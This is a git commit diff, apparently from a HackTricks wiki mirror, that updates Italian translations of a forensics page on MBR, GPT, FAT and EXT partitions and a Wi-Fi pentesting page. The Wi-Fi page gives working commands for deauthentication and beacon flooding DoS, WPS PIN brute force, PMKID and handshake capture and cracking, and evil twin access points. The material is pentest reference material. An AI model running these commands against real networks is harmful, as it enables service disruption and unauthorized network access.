mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
Translator
parent
05eafa2f87
commit
015d5b412e
@ -10,27 +10,27 @@ L'unità **minima** di un disco è il **settore** (normalmente composto da 512B)
|
||||
### MBR (master Boot Record)
|
||||
|
||||
È allocato nel **primo settore del disco dopo i 446B del codice di avvio**. Questo settore è essenziale per indicare al PC cosa e da dove una partizione dovrebbe essere montata.\
|
||||
Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni, puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del boot record **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\
|
||||
Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del boot record **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\
|
||||
MBR consente **max 2.2TB**.
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se viene utilizzato Windows). La lettera del disco logico dell'hard disk dipende dalla Windows Disk Signature. Cambiare questa firma potrebbe impedire a Windows di avviarsi (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se viene utilizzato Windows). La lettera dell'unità logica del disco rigido dipende dalla Windows Disk Signature. Cambiare questa firma potrebbe impedire a Windows di avviarsi (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
.png>)
|
||||
|
||||
**Formato**
|
||||
|
||||
| Offset | Lunghezza | Voce |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Codice di avvio |
|
||||
| 446 (0x1BE) | 16 (0x10) | Prima Partizione |
|
||||
| 462 (0x1CE) | 16 (0x10) | Seconda Partizione |
|
||||
| 478 (0x1DE) | 16 (0x10) | Terza Partizione |
|
||||
| 494 (0x1EE) | 16 (0x10) | Quarta Partizione |
|
||||
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
|
||||
| Offset | Lunghezza | Voce |
|
||||
| ----------- | ----------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Codice di avvio |
|
||||
| 446 (0x1BE) | 16 (0x10) | Prima Partizione |
|
||||
| 462 (0x1CE) | 16 (0x10) | Seconda Partizione |
|
||||
| 478 (0x1DE) | 16 (0x10) | Terza Partizione |
|
||||
| 494 (0x1EE) | 16 (0x10) | Quarta Partizione |
|
||||
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
|
||||
|
||||
**Formato del Record di Partizione**
|
||||
|
||||
@ -47,9 +47,9 @@ Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se
|
||||
| 8 (0x08) | 4 (0x04) | Settori precedenti la partizione (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Settori nella partizione |
|
||||
|
||||
Per montare un MBR in Linux, devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`)
|
||||
Per montare un MBR in Linux devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
E poi usa il seguente codice
|
||||
```bash
|
||||
@ -66,14 +66,14 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
La GUID Partition Table, nota come GPT, è preferita per le sue capacità avanzate rispetto a MBR (Master Boot Record). Distintiva per il suo **identificatore univoco globale** per le partizioni, GPT si distingue in diversi modi:
|
||||
|
||||
- **Posizione e Dimensione**: Sia GPT che MBR iniziano a **settore 0**. Tuttavia, GPT opera su **64 bit**, a differenza dei 32 bit di MBR.
|
||||
- **Posizione e Dimensione**: Sia GPT che MBR iniziano a **settore 0**. Tuttavia, GPT opera su **64bit**, a differenza dei 32bit di MBR.
|
||||
- **Limiti delle Partizioni**: GPT supporta fino a **128 partizioni** sui sistemi Windows e può contenere fino a **9.4ZB** di dati.
|
||||
- **Nomi delle Partizioni**: Offre la possibilità di nominare le partizioni con fino a 36 caratteri Unicode.
|
||||
|
||||
**Resilienza e Recupero dei Dati**:
|
||||
|
||||
- **Ridondanza**: A differenza di MBR, GPT non limita i dati di partizionamento e avvio a un solo luogo. Replica questi dati su tutto il disco, migliorando l'integrità e la resilienza dei dati.
|
||||
- **Controllo di Ridondanza Ciclina (CRC)**: GPT utilizza il CRC per garantire l'integrità dei dati. Monitora attivamente la corruzione dei dati e, quando viene rilevata, GPT tenta di recuperare i dati corrotti da un'altra posizione del disco.
|
||||
- **Controllo di Ridondanza Ciclomica (CRC)**: GPT utilizza il CRC per garantire l'integrità dei dati. Monitora attivamente la corruzione dei dati e, quando viene rilevata, GPT tenta di recuperare i dati corrotti da un'altra posizione del disco.
|
||||
|
||||
**MBR Protettivo (LBA0)**:
|
||||
|
||||
@ -95,7 +95,7 @@ L'intestazione della tabella delle partizioni definisce i blocchi utilizzabili s
|
||||
|
||||
| Offset | Lunghezza | Contenuti |
|
||||
| --------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 byte | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)su macchine little-endian) |
|
||||
| 0 (0x00) | 8 byte | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)su macchine little-endian) |
|
||||
| 8 (0x08) | 4 byte | Revisione 1.0 (00h 00h 01h 00h) per UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 byte | Dimensione dell'intestazione in little endian (in byte, di solito 5Ch 00h 00h 00h o 92 byte) |
|
||||
| 16 (0x10) | 4 byte | [CRC32](https://en.wikipedia.org/wiki/CRC32) dell'intestazione (offset +0 fino alla dimensione dell'intestazione) in little endian, con questo campo azzerato durante il calcolo |
|
||||
@ -116,11 +116,11 @@ L'intestazione della tabella delle partizioni definisce i blocchi utilizzabili s
|
||||
| Formato della voce di partizione GUID | | |
|
||||
| ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Lunghezza | Contenuti |
|
||||
| 0 (0x00) | 16 byte | [Tipo di GUID della partizione](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian misto) |
|
||||
| 16 (0x10) | 16 byte | GUID univoco della partizione (endian misto) |
|
||||
| 0 (0x00) | 16 byte | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian misto) |
|
||||
| 16 (0x10) | 16 byte | GUID di partizione unico (endian misto) |
|
||||
| 32 (0x20) | 8 byte | Primo LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 byte | Ultimo LBA (inclusivo, di solito dispari) |
|
||||
| 48 (0x30) | 8 byte | Flag di attributo (ad es. il bit 60 indica di sola lettura) |
|
||||
| 48 (0x30) | 8 byte | Flag di attributo (ad es. il bit 60 denota di sola lettura) |
|
||||
| 56 (0x38) | 72 byte | Nome della partizione (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unità di codice) |
|
||||
|
||||
**Tipi di Partizioni**
|
||||
@ -163,13 +163,13 @@ I componenti chiave della directory radice, in particolare per FAT12 e FAT16, in
|
||||
|
||||
- **Nome del File/Cartella** (fino a 8 caratteri)
|
||||
- **Attributi**
|
||||
- **Date di Creazione, Modifica e Ultimo Accesso**
|
||||
- **Indirizzo della Tabella FAT** (che indica il cluster di partenza del file)
|
||||
- **Date di creazione, modifica e ultimo accesso**
|
||||
- **Indirizzo della Tabella FAT** (che indica il cluster iniziale del file)
|
||||
- **Dimensione del File**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** è il file system più comune per le partizioni **non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e vengono solitamente utilizzati per le **altre partizioni**.
|
||||
**Ext2** è il file system più comune per le partizioni **non journaling** (**partizioni che non cambiano molto**) come la partizione di avvio. **Ext3/4** sono **journaling** e sono utilizzati solitamente per le **altre partizioni**.
|
||||
|
||||
## **Metadata**
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Comandi di base Wifi
|
||||
## Comandi di base per Wifi
|
||||
```bash
|
||||
ip link show #List available interfaces
|
||||
iwconfig #List available interfaces
|
||||
@ -56,13 +56,13 @@ sudo python setup.py install # Install any dependencies
|
||||
Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticamente:
|
||||
|
||||
- Imposta l'interfaccia in modalità monitor
|
||||
- Scansiona per possibili reti - E ti consente di selezionare la vittima(i)
|
||||
- Scansiona per possibili reti - E ti consente di selezionare la vittima(o)
|
||||
- Se WEP - Lancia attacchi WEP
|
||||
- Se WPA-PSK
|
||||
- Se WPS: attacco Pixie dust e attacco di brute-force (fai attenzione, l'attacco di brute-force potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati da database.
|
||||
- Se WPS: attacco Pixie dust e attacco di bruteforce (fai attenzione, l'attacco di bruteforce potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati da database.
|
||||
- Prova a catturare il PMKID dall'AP per decifrarlo
|
||||
- Prova a disautenticare i client dell'AP per catturare un handshake
|
||||
- Se PMKID o Handshake, prova a fare brute-force usando le prime 5000 password.
|
||||
- Se PMKID o Handshake, prova a bruteforce usando le prime 5000 password.
|
||||
|
||||
## Riepilogo Attacchi
|
||||
|
||||
@ -76,17 +76,17 @@ Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticame
|
||||
- Cracking **WEP** (diversi strumenti e metodi)
|
||||
- **WPA-PSK**
|
||||
- **WPS** pin "Brute-Force"
|
||||
- **WPA PMKID** brute-force
|
||||
- **WPA PMKID** bruteforce
|
||||
- \[DoS +] **Cattura handshake WPA** + Cracking
|
||||
- **WPA-MGT**
|
||||
- **Cattura Nome Utente**
|
||||
- **Bruteforce** Credenziali
|
||||
- **Evil Twin** (con o senza DoS)
|
||||
- **Open** Evil Twin \[+ DoS] -- Utile per catturare credenziali di portale captive e/o eseguire attacchi LAN
|
||||
- **Open** Evil Twin \[+ DoS] -- Utile per catturare credenziali del portale captive e/o eseguire attacchi LAN
|
||||
- **WPA-PSK** Evil Twin -- Utile per attacchi di rete se conosci la password
|
||||
- **WPA-MGT** -- Utile per catturare credenziali aziendali
|
||||
- **KARMA, MANA**, **Loud MANA**, **Beacon conosciuto**
|
||||
- **+ Open** -- Utile per catturare credenziali di portale captive e/o eseguire attacchi LAN
|
||||
- **+ Open** -- Utile per catturare credenziali del portale captive e/o eseguire attacchi LAN
|
||||
- **+ WPA** -- Utile per catturare handshake WPA
|
||||
|
||||
## DOS
|
||||
@ -109,7 +109,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
|
||||
### Pacchetti di Disassociazione
|
||||
|
||||
**I pacchetti di disassociazione**, simili ai pacchetti di deautenticazione, sono un tipo di frame di gestione utilizzato nelle reti Wi-Fi. Questi pacchetti servono a interrompere la connessione tra un dispositivo (come un laptop o uno smartphone) e un punto di accesso (AP). La principale distinzione tra disassociazione e deautenticazione risiede nei loro scenari di utilizzo. Mentre un AP emette **pacchetti di deautenticazione per rimuovere esplicitamente i dispositivi non autorizzati dalla rete, i pacchetti di disassociazione vengono tipicamente inviati quando l'AP è in fase di spegnimento**, riavvio o rilocazione, rendendo necessaria la disconnessione di tutti i nodi connessi.
|
||||
**I pacchetti di disassociazione**, simili ai pacchetti di deautenticazione, sono un tipo di frame di gestione utilizzato nelle reti Wi-Fi. Questi pacchetti servono a interrompere la connessione tra un dispositivo (come un laptop o uno smartphone) e un punto di accesso (AP). La principale distinzione tra disassociazione e deautenticazione risiede nei loro scenari di utilizzo. Mentre un AP emette **pacchetti di deautenticazione per rimuovere esplicitamente i dispositivi non autorizzati dalla rete, i pacchetti di disassociazione vengono tipicamente inviati quando l'AP è in fase di spegnimento**, riavvio o spostamento, rendendo necessaria la disconnessione di tutti i nodi connessi.
|
||||
|
||||
**Questo attacco può essere eseguito da mdk4(mode "d"):**
|
||||
```bash
|
||||
@ -126,7 +126,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
|
||||
**MODALITÀ D'ATTACCO b: Inondazione di Beacon**
|
||||
|
||||
Invia frame beacon per mostrare AP falsi ai client. Questo può a volte far crashare scanner di rete e persino driver!
|
||||
Invia frame beacon per mostrare AP falsi ai client. Questo può a volte far crashare gli scanner di rete e persino i driver!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
@ -136,7 +136,7 @@ mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**MODALITÀ D'ATTACCO a: Denial-Of-Service di Autenticazione**
|
||||
|
||||
Inviare frame di autenticazione a tutti i Access Points (AP) accessibili nel raggio d'azione può sovraccaricare questi AP, specialmente quando sono coinvolti numerosi client. Questo traffico intenso può portare a instabilità del sistema, causando il blocco o persino il riavvio di alcuni AP.
|
||||
Inviare frame di autenticazione a tutti i punti di accesso (AP) accessibili entro portata può sovraccaricare questi AP, specialmente quando sono coinvolti numerosi client. Questo traffico intenso può portare a instabilità del sistema, causando il blocco o persino il ripristino di alcuni AP.
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
# -i BSSID capture and repeat pakets from authenticated clients
|
||||
@ -150,7 +150,7 @@ Il probing degli Access Points (AP) verifica se un SSID è correttamente rivelat
|
||||
|
||||
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
||||
|
||||
Inviare pacchetti casuali o duplicati a diverse code QoS può attivare le contromisure Michael su **TKIP AP**, portando a uno spegnimento dell'AP di un minuto. Questo metodo è una tattica efficiente di attacco **DoS** (Denial of Service).
|
||||
Inviare pacchetti casuali o duplicati a diverse code QoS può attivare le contromisure Michael su **TKIP AP**, portando a un'interruzione dell'AP di un minuto. Questo metodo è una tattica efficiente di attacco **DoS** (Denial of Service).
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
@ -192,10 +192,10 @@ WPS (Wi-Fi Protected Setup) semplifica il processo di connessione dei dispositiv
|
||||
|
||||
Ci sono 2 strumenti principali per eseguire questa azione: Reaver e Bully.
|
||||
|
||||
- **Reaver** è stato progettato per essere un attacco robusto e pratico contro WPS, ed è stato testato su una vasta gamma di punti di accesso e implementazioni WPS.
|
||||
- **Reaver** è stato progettato per essere un attacco robusto e pratico contro WPS, ed è stato testato contro una vasta gamma di punti di accesso e implementazioni WPS.
|
||||
- **Bully** è una **nuova implementazione** dell'attacco di forza bruta WPS, scritto in C. Ha diversi vantaggi rispetto al codice reaver originale: meno dipendenze, prestazioni migliorate in memoria e CPU, gestione corretta dell'endianness e un set di opzioni più robusto.
|
||||
|
||||
L'attacco sfrutta la **vulnerabilità del PIN WPS**, in particolare la sua esposizione delle prime quattro cifre e il ruolo dell'ultima cifra come checksum, facilitando l'attacco di forza bruta. Tuttavia, le difese contro gli attacchi di forza bruta, come il **blocco degli indirizzi MAC** degli aggressori, richiedono la **rotazione degli indirizzi MAC** per continuare l'attacco.
|
||||
L'attacco sfrutta la **vulnerabilità del PIN WPS**, in particolare la sua esposizione delle prime quattro cifre e il ruolo dell'ultima cifra come checksum, facilitando l'attacco di forza bruta. Tuttavia, le difese contro gli attacchi di forza bruta, come **il blocco degli indirizzi MAC** degli aggressori, richiedono **la rotazione degli indirizzi MAC** per continuare l'attacco.
|
||||
|
||||
Una volta ottenuto il PIN WPS con strumenti come Bully o Reaver, l'attaccante può dedurre il WPA/WPA2 PSK, garantendo **accesso persistente alla rete**.
|
||||
```bash
|
||||
@ -207,7 +207,7 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
Questo approccio raffinato mira ai PIN WPS utilizzando vulnerabilità conosciute:
|
||||
|
||||
1. **PIN pre-scoperti**: Utilizza un database di PIN noti collegati a specifici produttori noti per utilizzare PIN WPS uniformi. Questo database correla i primi tre ottetti degli indirizzi MAC con i PIN probabili per questi produttori.
|
||||
2. **Algoritmi di generazione del PIN**: Sfrutta algoritmi come ComputePIN e EasyBox, che calcolano i PIN WPS basati sull'indirizzo MAC dell'AP. L'algoritmo Arcadyan richiede inoltre un ID dispositivo, aggiungendo un ulteriore livello al processo di generazione del PIN.
|
||||
2. **Algoritmi di generazione del PIN**: Sfrutta algoritmi come ComputePIN ed EasyBox, che calcolano i PIN WPS basati sull'indirizzo MAC dell'AP. L'algoritmo Arcadyan richiede inoltre un ID dispositivo, aggiungendo un ulteriore livello al processo di generazione del PIN.
|
||||
|
||||
### Attacco WPS Pixie Dust
|
||||
|
||||
@ -236,8 +236,8 @@ Tutti gli attacchi WPS proposti possono essere facilmente eseguiti utilizzando _
|
||||
|
||||
- 5 e 6 ti permettono di provare **il tuo PIN personalizzato** (se ne hai uno)
|
||||
- 7 e 8 eseguono l'**attacco Pixie Dust**
|
||||
- 13 ti consente di testare il **NULL PIN**
|
||||
- 11 e 12 **raccoglieranno i PIN relativi all'AP selezionato da database disponibili** e **genereranno** possibili **PIN** utilizzando: ComputePIN, EasyBox e opzionalmente Arcadyan (consigliato, perché no?)
|
||||
- 13 ti consente di testare il **PIN NULL**
|
||||
- 11 e 12 **raccolgono i PIN relativi all'AP selezionato da database disponibili** e **generano** possibili **PIN** utilizzando: ComputePIN, EasyBox e opzionalmente Arcadyan (consigliato, perché no?)
|
||||
- 9 e 10 testeranno **ogni possibile PIN**
|
||||
|
||||
## **WEP**
|
||||
@ -276,7 +276,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
||||
#You can also obtains PMKIDs using eaphammer
|
||||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
I **PMKIDs catturati** verranno mostrati nella **console** e anche **salvati** dentro \_ **/tmp/attack.pcap**\_\
|
||||
I **PMKIDs catturati** saranno mostrati nella **console** e anche **salvati** dentro \_ **/tmp/attack.pcap**\_\
|
||||
Ora, converti la cattura in formato **hashcat/john** e crackala:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
@ -293,18 +293,18 @@ hccap2john pmkid.hccapx > handshake.john
|
||||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_Ho notato che alcuni handshake catturati con questo strumento non potevano essere decifrati anche conoscendo la password corretta. Consiglierei di catturare gli handshake anche nel modo tradizionale se possibile, o di catturarne diversi utilizzando questo strumento._
|
||||
_Ho notato che alcuni handshake catturati con questo strumento non potevano essere decifrati anche conoscendo la password corretta. Raccomanderei di catturare gli handshake anche in modo tradizionale se possibile, o di catturarne diversi utilizzando questo strumento._
|
||||
|
||||
### Cattura dell'handshake
|
||||
|
||||
Un attacco a reti **WPA/WPA2** può essere eseguito catturando un **handshake** e tentando di **crackare** la password **offline**. Questo processo implica il monitoraggio della comunicazione di una rete specifica e del **BSSID** su un **canale** particolare. Ecco una guida semplificata:
|
||||
Un attacco alle reti **WPA/WPA2** può essere eseguito catturando un **handshake** e tentando di **crackare** la password **offline**. Questo processo implica il monitoraggio della comunicazione di una rete specifica e del **BSSID** su un particolare **canale**. Ecco una guida semplificata:
|
||||
|
||||
1. Identificare il **BSSID**, il **canale** e un **client connesso** della rete target.
|
||||
2. Utilizzare `airodump-ng` per monitorare il traffico di rete sul canale e BSSID specificati, sperando di catturare un handshake. Il comando avrà questo aspetto:
|
||||
2. Utilizzare `airodump-ng` per monitorare il traffico di rete sul canale e BSSID specificati, sperando di catturare un handshake. Il comando apparirà così:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
3. Per aumentare la possibilità di catturare un handshake, disconnetti momentaneamente il client dalla rete per forzare una re-autenticazione. Questo può essere fatto utilizzando il comando `aireplay-ng`, che invia pacchetti di deautenticazione al client:
|
||||
3. Per aumentare la possibilità di catturare un handshake, disconnetti momentaneamente il client dalla rete per forzare una nuova autenticazione. Questo può essere fatto utilizzando il comando `aireplay-ng`, che invia pacchetti di disautenticazione al client:
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
@ -346,9 +346,9 @@ In **configurazioni WiFi aziendali, incontrerai vari metodi di autenticazione**,
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
- Questo metodo supporta i token hardware e le password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida peer e invia le password in chiaro al punto di accesso, ponendo un rischio per attacchi di downgrade.
|
||||
- Questo metodo supporta i token hardware e le password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida tra pari e invia le password in chiaro al punto di accesso, ponendo un rischio per attacchi di downgrade.
|
||||
2. **EAP-MD5 (Message Digest 5)**:
|
||||
- Comporta l'invio dell'hash MD5 della password dal client. **Non è raccomandato** a causa della vulnerabilità agli attacchi a dizionario, della mancanza di autenticazione del server e dell'incapacità di generare chiavi WEP specifiche per la sessione.
|
||||
- Comporta l'invio dell'hash MD5 della password dal client. Non è **raccomandato** a causa della vulnerabilità agli attacchi di dizionario, della mancanza di autenticazione del server e dell'incapacità di generare chiavi WEP specifiche per la sessione.
|
||||
3. **EAP-TLS (Transport Layer Security)**:
|
||||
- Utilizza sia certificati lato client che lato server per l'autenticazione e può generare dinamicamente chiavi WEP basate su utente e sessione per proteggere le comunicazioni.
|
||||
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
|
||||
@ -379,11 +379,11 @@ Il nascondimento dell'identità è supportato sia da EAP-PEAP che da EAP-TTLS. N
|
||||
- In questa situazione, gli utenti di diversi domini nascondono le loro identità mentre indicano i rispettivi domini. Questo consente al server RADIUS iniziale di proxy le richieste EAP-PEAP o EAP-TTLS ai server RADIUS nei loro domini domestici, che fungono da server PEAP o TTLS. Il server RADIUS iniziale opera esclusivamente come nodo di relay RADIUS.
|
||||
- In alternativa, il server RADIUS iniziale può funzionare come server EAP-PEAP o EAP-TTLS e gestire il metodo di autenticazione protetto o inoltrarlo a un altro server. Questa opzione facilita la configurazione di politiche distinte per vari domini.
|
||||
|
||||
In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta EAP-Identity e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta EAP-Identity inviando una risposta EAP-Identity contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio previene efficacemente la rivelazione della vera identità dell'utente a chiunque stia intercettando il traffico 802.11.
|
||||
In EAP-PEAP, una volta stabilito il tunnel TLS tra il server PEAP e il client PEAP, il server PEAP avvia una richiesta di EAP-Identity e la trasmette attraverso il tunnel TLS. Il client risponde a questa seconda richiesta di EAP-Identity inviando una risposta di EAP-Identity contenente la vera identità dell'utente attraverso il tunnel crittografato. Questo approccio previene efficacemente la rivelazione della vera identità dell'utente a chiunque stia ascoltando il traffico 802.11.
|
||||
|
||||
EAP-TTLS segue una procedura leggermente diversa. Con EAP-TTLS, il client tipicamente si autentica utilizzando PAP o CHAP, protetti dal tunnel TLS. In questo caso, il client include un attributo User-Name e un attributo Password o CHAP-Password nel messaggio TLS iniziale inviato dopo l'instaurazione del tunnel.
|
||||
|
||||
Indipendentemente dal protocollo scelto, il server PEAP/TTLS acquisisce conoscenza della vera identità dell'utente dopo che il tunnel TLS è stato stabilito. La vera identità può essere rappresentata come user@realm o semplicemente user. Se il server PEAP/TTLS è anche responsabile dell'autenticazione dell'utente, ora possiede l'identità dell'utente e procede con il metodo di autenticazione protetto dal tunnel TLS. In alternativa, il server PEAP/TTLS può inoltrare una nuova richiesta RADIUS al server RADIUS domestico dell'utente. Questa nuova richiesta RADIUS omette il livello del protocollo PEAP o TTLS. Nei casi in cui il metodo di autenticazione protetto sia EAP, i messaggi EAP interni vengono trasmessi al server RADIUS domestico senza l'involucro EAP-PEAP o EAP-TTLS. L'attributo User-Name del messaggio RADIUS in uscita contiene la vera identità dell'utente, sostituendo l'User-Name anonimo della richiesta RADIUS in arrivo. Quando il metodo di autenticazione protetto è PAP o CHAP (supportato solo da TTLS), l'attributo User-Name e altri attributi di autenticazione estratti dal payload TLS vengono sostituiti nel messaggio RADIUS in uscita, sostituendo l'User-Name anonimo e gli attributi TTLS EAP-Message trovati nella richiesta RADIUS in arrivo.
|
||||
Indipendentemente dal protocollo scelto, il server PEAP/TTLS acquisisce conoscenza della vera identità dell'utente dopo che il tunnel TLS è stato stabilito. La vera identità può essere rappresentata come user@realm o semplicemente user. Se il server PEAP/TTLS è anche responsabile dell'autenticazione dell'utente, ora possiede l'identità dell'utente e procede con il metodo di autenticazione protetto dal tunnel TLS. In alternativa, il server PEAP/TTLS può inoltrare una nuova richiesta RADIUS al server RADIUS domestico dell'utente. Questa nuova richiesta RADIUS omette il livello del protocollo PEAP o TTLS. Nei casi in cui il metodo di autenticazione protetto è EAP, i messaggi EAP interni vengono trasmessi al server RADIUS domestico senza l'involucro EAP-PEAP o EAP-TTLS. L'attributo User-Name del messaggio RADIUS in uscita contiene la vera identità dell'utente, sostituendo l'User-Name anonimo della richiesta RADIUS in arrivo. Quando il metodo di autenticazione protetto è PAP o CHAP (supportato solo da TTLS), l'attributo User-Name e altri attributi di autenticazione estratti dal payload TLS vengono sostituiti nel messaggio RADIUS in uscita, sostituendo l'User-Name anonimo e gli attributi TTLS EAP-Message trovati nella richiesta RADIUS in arrivo.
|
||||
|
||||
Per ulteriori informazioni controlla [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
|
||||
|
||||
@ -411,20 +411,20 @@ Puoi anche eseguire questo attacco utilizzando `eaphammer`:
|
||||
|
||||
### Elenchi di reti preferite (PNL)
|
||||
|
||||
- Le stazioni memorizzano l'ESSID di ogni rete wireless a cui si connettono nella loro Preferred Network List (PNL), insieme ai dettagli di configurazione specifici della rete.
|
||||
- La PNL viene utilizzata per connettersi automaticamente a reti conosciute, migliorando l'esperienza dell'utente semplificando il processo di connessione.
|
||||
- Le stazioni memorizzano l'ESSID di ogni rete wireless a cui si connettono nel loro Elenco di Reti Preferite (PNL), insieme ai dettagli di configurazione specifici della rete.
|
||||
- Il PNL viene utilizzato per connettersi automaticamente a reti conosciute, migliorando l'esperienza dell'utente semplificando il processo di connessione.
|
||||
|
||||
### Scansione passiva
|
||||
|
||||
- Gli AP trasmettono periodicamente frame beacon, annunciando la loro presenza e caratteristiche, incluso l'ESSID dell'AP a meno che la trasmissione non sia disabilitata.
|
||||
- Durante la scansione passiva, le stazioni ascoltano i frame beacon. Se l'ESSID di un beacon corrisponde a un'entrata nella PNL della stazione, la stazione può connettersi automaticamente a quell'AP.
|
||||
- La conoscenza della PNL di un dispositivo consente potenziali sfruttamenti mimando l'ESSID di una rete conosciuta, ingannando il dispositivo a connettersi a un AP malevolo.
|
||||
- Durante la scansione passiva, le stazioni ascoltano i frame beacon. Se l'ESSID di un beacon corrisponde a un'entrata nel PNL della stazione, la stazione può connettersi automaticamente a quell'AP.
|
||||
- La conoscenza del PNL di un dispositivo consente potenziali sfruttamenti mimando l'ESSID di una rete conosciuta, ingannando il dispositivo a connettersi a un AP malevolo.
|
||||
|
||||
### Probing attivo
|
||||
|
||||
- Il probing attivo implica che le stazioni inviino richieste di probing per scoprire AP vicini e le loro caratteristiche.
|
||||
- Le richieste di probing dirette mirano a un ESSID specifico, aiutando a rilevare se una rete particolare è entro portata, anche se è una rete nascosta.
|
||||
- Le richieste di probing broadcast hanno un campo SSID nullo e vengono inviate a tutti gli AP vicini, consentendo alla stazione di controllare eventuali reti preferite senza rivelare i contenuti della sua PNL.
|
||||
- Le richieste di probing broadcast hanno un campo SSID nullo e vengono inviate a tutti gli AP vicini, consentendo alla stazione di controllare eventuali reti preferite senza rivelare i contenuti del suo PNL.
|
||||
|
||||
## AP semplice con reindirizzamento a Internet
|
||||
|
||||
@ -508,17 +508,17 @@ Puoi anche creare un Evil Twin utilizzando **eaphammer** (nota che per creare ev
|
||||
